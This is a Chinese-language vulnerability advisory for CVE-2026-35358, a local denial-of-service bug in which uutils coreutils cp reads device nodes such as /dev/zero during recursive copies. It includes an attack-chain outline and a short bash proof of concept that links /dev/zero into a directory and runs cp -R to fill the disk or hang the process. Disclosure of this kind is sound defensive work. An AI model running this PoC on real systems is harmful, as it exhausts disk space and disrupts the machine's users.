IPBUF安全漏洞报告
English
CVE-2026-35358 CVSS 4.4 中危

CVE-2026-35358 uutils coreutils cp命令递归复制DoS漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-35358
漏洞类型
拒绝服务
CVSS评分
4.4 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
uutils coreutils

相关标签

拒绝服务uutils coreutils本地攻击逻辑错误

漏洞概述

uutils coreutils中的cp实用程序在执行递归复制(-R)操作时存在逻辑缺陷。该工具错误地将字符和块设备节点视为流源进行读取,导致目标位置创建常规文件而非保留设备节点。这不仅破坏了设备语义(如将/dev/null变为普通文件),还可能因读取无限数据源导致磁盘耗尽或进程挂起,从而引发拒绝服务风险。

技术细节

该漏洞源于uutils coreutils中`cp`命令对设备文件处理逻辑的缺陷。在标准Unix coreutils中,复制设备节点通常涉及保留inode信息或使用`mknod`重建。然而,受影响版本的`cp`在递归模式下,将字符设备和块设备误判为普通流文件。程序试图读取设备节点的全部内容并写入目标路径,这对于`/dev/zero`或`/dev/urandom`等无限数据源是致命的。这种机制导致磁盘空间被迅速耗尽,或者读取操作陷入死循环,造成系统资源耗尽或进程挂起。攻击者只需拥有本地低权限账户,通过构造包含特殊设备文件的目录结构并执行递归复制,即可触发拒绝服务攻击。

攻击链分析

STEP 1
侦察
攻击者确认目标系统使用的是存在漏洞的uutils coreutils版本。
STEP 2
资源准备
攻击者在本地或可访问的目录中创建包含指向字符设备(如/dev/zero)的链接或设备文件的目录结构。
STEP 3
执行攻击
攻击者执行`cp -R`命令,尝试递归复制包含设备文件的目录。
STEP 4
达成效果
`cp`进程将设备视为普通文件流并尝试无限读取,导致磁盘空间耗尽或进程挂起,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-35358 # This script demonstrates the denial of service vulnerability # by attempting to copy a directory containing a character device. # Create a test directory with a symbolic link to /dev/zero mkdir -p /tmp/poc_dir ln -s /dev/zero /tmp/poc_dir/infinite_device # Create a destination directory mkdir -p /tmp/poc_dest # Execute the recursive copy using the vulnerable uutils cp # This will attempt to read infinitely from /dev/zero, filling the disk or hanging. # Ensure 'cp' is the vulnerable uutils binary. cp -R /tmp/poc_dir /tmp/poc_dest echo "If the system hangs or disk fills up, the PoC is successful."

影响范围

uutils coreutils < 0.7.0

防御指南

临时缓解措施
在未升级前,避免使用受影响版本的cp命令递归复制包含设备文件的目录,或临时切换回GNU coreutils。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表